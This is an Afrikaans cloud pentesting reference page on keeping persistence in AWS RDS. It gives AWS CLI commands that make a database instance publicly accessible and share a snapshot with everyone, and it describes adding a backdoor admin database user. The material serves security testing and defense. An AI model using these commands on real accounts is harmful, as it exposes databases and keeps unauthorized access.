# AWS - RDS Persistence

{{#include ../../../../banners/hacktricks-training.md}}

## RDS

Vir meer inligting, sien:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### Maak instansie publiek toeganklik: `rds:ModifyDBInstance`

'n aanvaller met hierdie toestemming kan **'n bestaande RDS-instansie wysig om publieke toeganklikheid moontlik te maak**.
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
### Skep 'n admin gebruiker in die DB

'n aanvaller kan net **'n gebruiker in die DB skep**, sodat selfs as die wagwoord van die master-gebruiker gewysig word, hy **nie toegang tot die database verloor nie**.

### Maak snapshot publiek
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
```
{{#include ../../../../banners/hacktricks-training.md}}
